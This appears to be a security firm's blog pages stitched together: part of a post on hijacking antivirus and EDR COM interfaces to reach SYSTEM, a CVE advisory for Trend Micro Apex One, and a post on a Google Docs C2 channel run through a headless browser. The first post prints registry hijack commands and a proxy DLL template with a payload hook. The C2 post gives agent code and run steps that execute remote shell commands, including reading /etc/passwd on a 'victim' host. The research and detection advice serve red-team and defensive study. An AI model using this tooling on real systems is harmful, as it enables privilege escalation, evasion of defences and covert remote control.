We can see that each COM lookup is performed via a GUID that matches to an CLSID (Class ID). Now we can hunt for those GUIDs and figure out what COM objects are used by the product.

For each product, the first task was to identify a COM Interface used by the front-end process.

This required considering several factors:

  • When is the COM interface invoked?
    • During the start of the UI
    • When entering a specific menu
  • Is the COM interface used by other processes?
    • To avoid unintended consequences (e.g., disrupting explorer.exe), we ensured the interface was unique to the target process or could be safely used in parallel.

We used the Process Monitor from the SysInternals suit to identify relevant COM interfaces. We first identified the process we wanted to target. Then, we used a filter to view only events triggered by this process. Next, we created a filter for registry events where the path contained CLSID and InProcServer32, indicating that the process tries to load a DLL used for a COM interface.

The following screenshot demonstrates how explorer.exe queries the relevant registry keys, providing insight into the COM interfaces it accesses:

Figure 4: Accesses to COM interfaces by explorer.exe

After identifying a potential COM interface, the next step was to confirm if the front-end process loaded the referenced DLL. We monitored file interactions and filtered paths containing the DLL name to do this. If the DLL was loaded, it would trigger a load event for the DLL specified in the registry:

Figure 5: Loading a DLL related to COM

Once a suitable interface was identified, the next step was to hijack it.

Hijacking a COM interface

One registry key we targeted across multiple products was:

Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}

This COM interface loads the dataexchange.dll into the calling process.
To hijack the DLL, we first exported it:

reg export "HKLM\\SOFTWARE\\Classes\\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}" .\export.reg /reg:64

Then, we opened the exported file export.reg in a text editor and changed the paths to HKEY_CURRENT_USER. We also changed the file path to point to our custom DLL:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}]

[HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\\InProcServer32]
@="C:\\\\poc\\\\dataxchange.dll"
"ThreadingModel"="Both"

Next, we imported the modified registry export:

reg import .\export.reg /reg:64

With these modifications, all calls to this COM interface from the context of our unprivileged user would invoke our custom DLL. This might lead to problems with other processes, so we should remove the hijack when we are done with exploitation.

Our DLL must export the functions the original COM DLL would expose to ensure smooth operation. This can be achieved by proxying calls to the original DLL using a template such as:

#include <windows.h>
#include <combaseapi.h>

#pragma comment( linker, "/export:DllGetClassObject" )

#define ORIGINAL_COM_DLL_PATH "C:\\Windows\\System32\\dataxchange.dll"

void Go(void) {
// Our payload
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

typedef HRESULT(WINAPI * tDllGetClassObject)(REFCLSID rclsid, REFIID riid, LPVOID* ppv);

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {
// Start our payload
Go();

// Load the original DLL and proxy the function call to it
tDllGetClassObject pDllGetClassObject;
HMODULE hOrigDLL = LoadLibrary(ORIGINAL_COM_DLL_PATH);
pDllGetClassObject = (tDllGetClassObject) GetProcAddress(hOrigDLL, "DllGetClassObject");
if (!pDllGetClassObject)
return S_FALSE;

HRESULT hRes = pDllGetClassObject(rclsid, riid, ppv);

return hRes;
}

At this point, we achieved code execution in the context of the targeted product. So, the next step was to analyze the communication between the front-end and back-end processes for the specific product to get an idea of how to abuse this primitive.

Named pipe communication

Named pipes are a common method for communication between a server and one or more clients. They are accessible using a unique name (as the name suggests) and often serve as a communication channel between security products’ front-end and back-end processes.

Figure 6: Typical Named Pipe Communication via the WinAPI

We found that the easiest way to find out if a product uses named pipes was to use IONinja’s Pipe Monitor feature. For this, you click “New Session”, select “Pipe Monitor” and enable “Run as administrator”. You can click the “Capture” button in the top-right corner to start capturing named pipe traffic:

Figure 7: Starting IONinja
Figure 8: Listening to named pipes with IONinja

With this, you can interact with the product’s user interface to generate pipe traffic and watch for captured named pipe traffic that corresponds to the interaction. In our experience, there should be little named pipe communication on a vanilla system, so identifying the relevant communication should be straightforward if you have installed the product on a dedicated system.

Having identified the communication in IONinja, we have a pipe name and a process that opens the named pipe or writes to it. We now need to identify the logic. For this, we can look for strings beginning with \\.\pipe\, used when creating a named pipe. The logic that interacts with the named pipe will likely reference this string. You will also see calls to the CreateNamedPipe and ConnectNamedPipe functions.

For our initial target, all of this turned out to be unnecessary: When capturing data over a named pipe, we observed plaintext communication, including what appeared to be a registry key:

Figure 9: Registry path in named pipe traffic

The next section will detail how we exploited this communication to gain high privileges.

Replaying a recorded message

As shown in the screenshot above, the traffic on the named pipe for our first target contained a registry path and was not obfuscated. This message was sent every time we opened the front-end process.

Using Process Monitor, we observed that the back-end process accessed the registry key running as SYSTEM. This seemed promising, as writing a registry key as SYSTEM could lead to privilege escalation…

To test this theory, we implemented the following steps:

1. Prepare the Payload: We wrote a small program and converted it into shellcode using [donut](https://github.com/TheWover/donut).

2. Inject the Payload: Using our previously via COM hijacking loaded DLL, we injected the shellcode into the process. In the shellcode, we unloaded the DLL after a short sleep and then sent the modified data. This approach bypassed logic in the target process that appeared to validate loaded DLLs. Although we didn’t confirm whether bypassing this validation was essential, avoiding an unsigned DLL during communication helped minimize suspicion.

3. Initial Testing: To confirm our ability to replay the message, we modified the registry path in the recorded message. The modified path was successfully written to the registry:

Figure 10: Modified registry key written

We discovered that our ability to write registry keys was restricted to locations under the manufacturer’s designated registry path. This limitation prevented us from writing keys like RunOnce, which could enable privilege escalation.

However, we identified a promising registry key named Application Path. This key pointed to an application folder under C:\Program Files (x86). By modifying this path to one writable by us, we hypothesized that any high-privilege process loading from this path could execute our files, granting high privileges.

So, we modified the message again, choosing a path that would fit into the message without modifying any offsets. After injecting our DLL into the process, we replayed the modified message to overwrite the Application Path. Following a system restart, we observed that one of the privileged EDR processes executed files from the modified Application Path. By placing our payload in this directory, we successfully gained SYSTEM privileges:

Figure 11: Processes being started from modified path as SYSTEM

Conclusion

This blog post explored the attack surface associated with the interaction between an AV/EDR’s front-end and back-end processes. Key takeaways are:

  • Breaking Trust Assumptions: Using COM hijacking, we demonstrated how the assumption that the front-end process is inherently trusted can be exploited.
  • Finding Hijackable Interfaces: We described our methodology for identifying and hijacking COM interfaces.
  • Privilege Escalation via Named Pipes: We detailed how one target product communicated via named pipes and how replaying recorded messages enabled us to escalate privileges to SYSTEM.

In the next blog post, we will explore reversing RPC via COM and present a more complex exploit to achieve SYSTEM privileges by targeting another security product.

This article was written as part of joint research with Neodyme.

Further blog articles

Do you want to protect your systems? Feel free to get in touch with us.

Vulnerability in Trend Micro Apex One (CVE-2024-55631)

Search

Vulnerability in Trend Micro Apex One (CVE-2024-55631)

Trend Micro Apex One Security Agent is endpoint protection software that is installed as part of the Trend Micro Apex One suite. It monitors the endpoint for threats such as malicious files and blocks or deletes them as appropriate. It is deployed on all systems enrolled in Trend Micro Apex One.

CVE-2024-55631: Local Privilege Escalation through Arbitrary File Delete

cirosec discovered a vulnerability in the Damage Cleanup Engine of the Security Agent that enables an unprivileged local attacker to escalate privileges. The vulnerability was disclosed to Trend Micro on October 27, 2023.

During scanning of the file system for malicious files, insecure file operations are performed in user-controlled directories, allowing a local attacker to delete almost arbitrary files on the system. By using publicly documented methods, an unprivileged local attacker can abuse this arbitrary file delete primitive to obtain SYSTEM privileges. Because no patch is available at the time of publication, cirosec is not releasing more technical details on the vulnerability until further notice.

CVSS Score
7.8 (CVSS v3) 

CVSS Vector String
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Version
The vulnerability has at least been present since Security Agent version 14.0.12737.

Fixed Version
Apex One Agent v14.0.14203

References
ZDI-Advisory: https://www.zerodayinitiative.com/advisories/ZDI-25-001/
Trend Micro: https://success.trendmicro.com/en-US/solution/KA-0018217

Credits
Frederik Reiter & Jan-Luca Gruber

Timeline

Do you want to protect your systems? Feel free to get in touch with us.

Google DoC2

Search

Google DoC2

November 7, 2024

Google DoC2 - Using Google Docs as a C2 proxy with a headless browser

TL;DR

When building your C2 agent, you may want to avoid outbound traffic directly from your agent to the C2 server for a number of reasons. You may have strict firewall rules that block all non-browsers from accessing the Internet, or you may want to bypass a proxy that only allows access to certain trusted websites. By spawning a headless browser process and using the Chrome DevTools Protocol to interact with a website, you can use the browser’s network stack to send and receive data, effectively bypassing any firewall or web proxy. In this article we show how to use any Chromium-based browser as a C2 agent and Google Docs as a C2 proxy and how to detect this. We provide sample code in Rust and a basic agent and server that can be used to execute shell commands on the agent and receive the output of the commands. Check out the PoC on GitHub.

Introduction

In recent years, the (ab)use of existing services to perform command and control (C2) has become increasingly popular, such as Notion, Slack and so on. However, all these techniques communicate with the service’s API directly from the agent. This may not always be possible or desirable, so in this article we will explore another approach to C2 that uses a headless browser to communicate with the C2 server.

The idea

The Chromium browser, which is the basis for many popular browsers, such as Google Chrome, Microsoft Edge and Brave, provides many useful command-line options that can be used to instrument and interact with the browser programmatically. This is useful for a variety of use cases, such as automated testing, web scraping and, as we will see, C2. So instead of launching the browser with chromium, we can start it with several command-line options that allow us to change its behavior. Note that we are in full control of the browser, so we do not need to use any kind of browser exploit or vulnerability here; we are only using fully intended features of the browser.

Headless mode

The first thing we need to do is start the browser in headless mode, which means that it will not display any windows, but will still run as a normal browser. This is useful for our purposes as we do not want to alert the user that the browser is running.

This is quite easy to do, we just need to add the –headless option to the command line. For example, to start the browser in headless mode, we can use the following command:

$ chromium --headless

Chrome DevTools Protocol (CDP)

To quote the official documentation:

The Chrome DevTools Protocol allows for tools to instrument, inspect, debug and profile Chromium, Chrome and other Blink-based browsers.

You can experiment with what is possible with the protocol by opening this article in a Chromium-based browser and pressing F12 to open the developer tools. Anything you can do in the developer tools can also be done with the CDP.

For example, open the developer tools and navigate to the Console tab. Then type the following command:

window.alert("DevTools Protocol is awesome: " + window.location);

As you can see, the browser displays an alert with the URL of the current page. This proves that we can execute arbitrary JavaScript in the context of any web page.

Using CDP programmatically

By starting the browser with the –remote-debugging-port option, the browser will start a WebSocket server on the specified port (or choose a random port if 0 is specified). We can then connect to this WebSocket server and send commands to the browser using the CDP:

$ chromium --headless --remote-debugging-port=0
[...]
DevTools listening on ws://127.0.0.1:32785/devtools/browser/ab4c2a5e-182c-4163-9d98-a0e327635395
[...]

We can connect to the browser and send commands using a WebSocket client and implementing the CDP manually. However, this approach is cumbersome and error prone. To avoid this, we will use a library that handles these tasks for us.

Typically, Node.js or Python are used to interact with the browser since there are popular libraries for both languages that implement the CDP, such as puppeteer for Node.js and pyppeteer for Python. However, in the context of C2, we may prefer to use a compiled language instead of an interpreted one. Therefore, we will use Rust along with the chromiumoxide library, which offers a high-level API for interacting with the browser through the CDP. This enables us to send commands to the browser and receive results with ease.

Using Google Docs as a C2 proxy

To illustrate the concept, we will use Google Docs as a C2 proxy. Current techniques, such as OffensiveNotion, require the agent to contain an API key that is used to access the service. However, because we have the ability to interact with the browser instead of relying on an API, we can use any website as a C2 proxy, as long as we can interact with it using the CDP. Choosing Google Docs as a C2 proxy has the added benefit that it is unlikely to be blocked by any firewall or proxy, as it is a trusted website and requires no authentication when a document is shared using the “Anyone with the link can edit” permission.

Implementation

Interacting with Google Docs using the CDP

First, we need to develop the required abstractions so that we can programmatically interact with Google Docs using the CDP.

For the test setup, we first create a new Google Docs document and share it with the “Anyone with the link can edit” permission as shown in Figure 1

Frederik Reiter

Consultant

Category
Date
Navigation
Figure 1: Sharing a Google Doc with the “Anyone with the link can edit” permission

This will generate a link like below, which we will refer to as the “Docs URL” from now on. Let’s save it to an environment variable for later use:

$ export DOCS_URL="https://docs.google.com/document/d/XXXXXXXX/edit?usp=sharing"

Now, we need to identify the elements on the page that we can interact with. To achieve this, we can open the developer tools and inspect the page. By using the “Element selector” tool, we can select the elements we want to interact with. In this case, we want to interact with the content area where the text content of the document is displayed, enabling us to read and write data to the document. Using the “Element selector” and clicking on the content area as show in Figure 2, we can see that, unfortunately for us, the body of the document seems to be some kind of “canvas” element, which is awkward to interact with using the CDP because it only contains image data. If we wanted to read the text, we’d have to first read the image from the webpage, then use optical character recognition to extract the text.

<div class="kix-page-paginated canvas-first-page" style="position: absolute; top: 5px; left: 5px; z-index: 0; width: 794.4px; height: 1123.2px;"><canvas class="kix-canvas-tile-content" width="993" height="1404" style="z-index: 0; width: 794.4px; height: 1123.2px;" dir="ltr"></canvas></div>
Figure 2: Inspecting the Google Docs page

To work around this issue, we explored other methods of modifying the state of the document and eventually landed on the idea of using the Comments feature of Google Docs. As comments are not part of the canvas element, we can interact with them using the CDP more easily. The only requirement is that the document is not completely empty because the comments are always attached to a specific position in the document. So, if you’re following along, make sure to type some text in the document so that comments can be added.

Adding a comment to the document

So, as a first step, we want to write code that adds a new comment to the document. By clicking on “Insert” (div#docs-insert-menu), followed by the “m” key, we can add a comment to the document. By typing in the comment field (div.docos-input-contenteditable) and clicking on the “Comment” button (div.docos-input-buttons-post), we will add a comment to the document. This comment can then be read by the C2 server and used to get information from the agent. The reverse is also possible: the C2 server can add a comment to the document, which the agent can then read and act upon.

We can easily implement the process outlined above using the CDP.

First, we click on the “Insert” menu and press the “m” key:

page.find_element("div#docs-insert-menu").await?
   .click().await?
   .press_key("m").await?;

Then, we find the comment field and insert the text we want to add to the document:

page.find_element("div.docos-input-contenteditable").await?
   .click().await?
    .type_str("Hello, world!").await?
   .click().await?;

Finally, we click on the “Comment” button to add the comment to the document:

page.find_element("div.docos-input-buttons-post").await?
   .click().await?;

Now, running the code will add a comment to the document. The full code for adding a comment is implemented in src/lib.rs in the GitHub repository. An example of how to use the library to add a comment to the document can be found in examples/add_comment.rs and can be run using the following command:

$ cargo run --example add_comment
   Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.11s

As shown in figure 3, the comment is successfully added to the document.

Figure 3: A comment added to the document by the agent

Reading comments from the document

Next, we want to read the comments from the document. We need this functionality to receive commands from the C2 server and on the server side to receive the output of the commands executed by the agent.

Reading all comments from the document is quite straightforward because all comments are stored in a div with the class docos-replyview-body. Using the CDP, we can find all elements with this class and read the text of the comments:

let mut comments = Vec::new();
for comment in page
   .find_elements("div.docos-replyview-body")
   .await?
   .into_iter()
{
   if let Some(comment) = comment.inner_text().await? {
       comments.push(comment);
   }
}

This is also implemented in src/lib.rs. An example of how to use the library to read all comments from the document can be found in examples/read_comments.rs and can be run using the following command:

$ cargo run --example read_comments
   Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.11s
[examples/read_comments.rs:11:5] c2.read_all_comments().await? = [
   "Hello, World!",
]

We can see that the comment “Hello, World!” that we added earlier is returned by the function.

Encoding data in comments

Now that we have the necessary abstractions to send and receive data “through” the document, we need to specify an encoding that the agent and the server will use to encode and decode the data.

For this PoC, we will be executing shell commands on the agent and returning the output to the server, so not much encoding is required. We only need a way to indicate if a comment is a command or the output of a command. In production, you would probably want to use a more sophisticated encoding and layer some kind of public key cryptography on top of it to ensure that only the C2 server can issue commands (with the corresponding private key) and that only the server can read the output of the commands (encrypted with the public key).

All messages are hex encoded. The first byte of the message indicates if the message is a command (0x01) or the output of a command (0x02). The next 12 bytes of the message are the message ID, which is used to match the output of a command to the command itself. The 0x01 (command) message is then followed by the command, and the 0x02 (output) message is followed by the output of the command with the corresponding message ID. We also add a third message type, 0x03, which is used to indicate that the agent should exit.

All in all, the encoding is specified by these Rust types with some convenience functions to encode and decode the messages implemented in src/shell.rs:

#[repr(u8)]
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub enum MessageType {
   Command = 0x01,
   Output = 0x02,
   Exit = 0x03,
}
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub struct Message {
   pub message_type: MessageType,
   pub message_id: [u8; 12],
   pub message: String,
}

Putting it all together

We now have the required abstractions to interact with Google Docs using the CDP and have defined an encoding for the messages. Let’s put it all together to create an agent and server pair that can be used to execute shell commands on the agent and receive the output of the commands.

The agent starts a headless browser and then enters a loop where it reads comments from the document, decodes them, executes the command, and then writes the output of the command back to the document.

The server asks the operator for a command, encodes it, and then writes it to the document. It will then wait for the output of the command, decode it, and print it to the operator. It also can send the special 0x03 message to the agent to make it exit. We also added a few utility functions, such as clearing all comments from the document and displaying all already present comments.

The full code for the agent and server can be found in the examples directory of the repository, in shell_agent.rs and shell_server.rs respectively.

To run the example:

  1. Clone the repository (git clone https://github.com/cirosec/google-doc2).
  2. Create a new Google Docs document and share it with the “Anyone with the link can edit” permission.
  3. Type some text in the document so that it is not empty. If you want, you can keep the document open in your normal browser to see the comments being added.
  4. Set the “DOCS_URL” environment variable to the URL of the document and run the agent:
    $ export DOCS_URL="https://docs.google.com/document/d/XXXXX/edit?usp=sharing" 
    $ cargo run --example shell_agent    
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.11s
    Running `target/debug/examples/shell_agent
  5. Run the server in another terminal and execute some commands, in this case hostname and cat /etc/passwd | head:
    $ export DOCS_URL="https://docs.google.com/document/d/XXXXX/edit?usp=sharing"
    $ cargo run --example shell_server
       Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.11s
    Successfully opened Google Docs!
    Choose an action: Submit a new command
    Enter a command: hostname
    -> victim
    Choose an action: Submit a new command
    Enter a command: cat /etc/passwd | head
    -> root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    Choose an action: Exit

    As you can see, the server is able to send commands to the agent and receive the output of the commands. The agent is able to execute the commands and send the output back to the server.

Blue Team Perspective

All C2 traffic generated by this technique is sent out by an unmodified browser executable. In the case of Microsoft Edge, the executable is even signed by Microsoft! This makes it very difficult for blue teamers to detect that something is up and even if someone notices the channel, all traffic is sent “encoded” through the Google Docs API, which is not very straightforward to understand. As an example, here’s the POST request apparently responsible for adding a comment to the document:

POST /document/d/XXXXXXXX/docos/p/sync?id=XXXXXXXX&reqid=3&sid=XXXXXXXX&vc=1&c=1&w=1&flr=0&smv=52&smb=XXX
&token=XXXXX&includes_info_params=true&cros_files=false HTTP/2
Host: docs.google.com
[...]
p=%5B%5B%5B%22XXXXXXXX%22,%5Bnull,null,%5B%22text/html%22,%22
test%20comment%22%5D,%5B%22text/plain%22,%22test%20comment%22%5D,%5B%22
Anonym%22,null,%22//ssl.gstatic.com/docs/common/blue_silhouette96-0.png%22,%22ANONYMOUS_105250506097979753968%22,1%5D,1712922484034,1712922484034,
null,%5B%22text/plain%22,%22Hello,%20world!aa%22%5D,null,%22XXXXXXXX%22,1%5D,1712922484034,
null,null,null,null,%22kix.290cok7o9jiy%22,1%5D%5D,1712921888390%5D

The comment text is in there, but from a blue team perspective it seems very difficult to figure out what is going on based on that traffic alone, especially if the comment text is encrypted and obfuscated before being added to the document.

Additionally, this technique may be used with any other service that provides similar functionality as Google Docs. To detect this behavior more generally, we can instead focus on the way the Chromium instance is launched by the agent. Of course, this differs from normal execution of Chromium because the executable is started at least with the two flags –remote-debugging-port=0 and –headless we discussed earlier. In actuality, the library uses a lot more arguments, but only these two are strictly necessary. Therefore, if you’d like to build alerting for this type of C2 channel, we’d recommend setting up alerts on processes of Chromium-based browsers (so Chromium, Chrome, Edge, Brave and the like) with any of these two flags present. During normal operation of Chromium, we haven’t seen any uses of these flags, but they are not technically malicious themselves and may be used by developers when running automated tests on web applications, so you might need to configure allowlists for developer machines as necessary.

Conclusion

In this article, we demonstrated that it is to use a headless browser, normally already present on the target system, as a proxy for C2 communication. For the PoC we used Google Docs, but hopefully it is clear that any website can be used as a C2 proxy, as long as it can be used to transmit and receive data using the CDP. All the code for the PoC can be found on GitHub.

In practice, this technique should be built upon to add more sophisticated encoding, asymmetric encryption and customize the website used to fit the scenario of the red team engagement. For example, the website could be a company-internal website, which would make it even less likely to be blocked by any firewall or proxy.

Further blog articles

Do you want to protect your systems? Feel free to get in touch with us.
Search
Search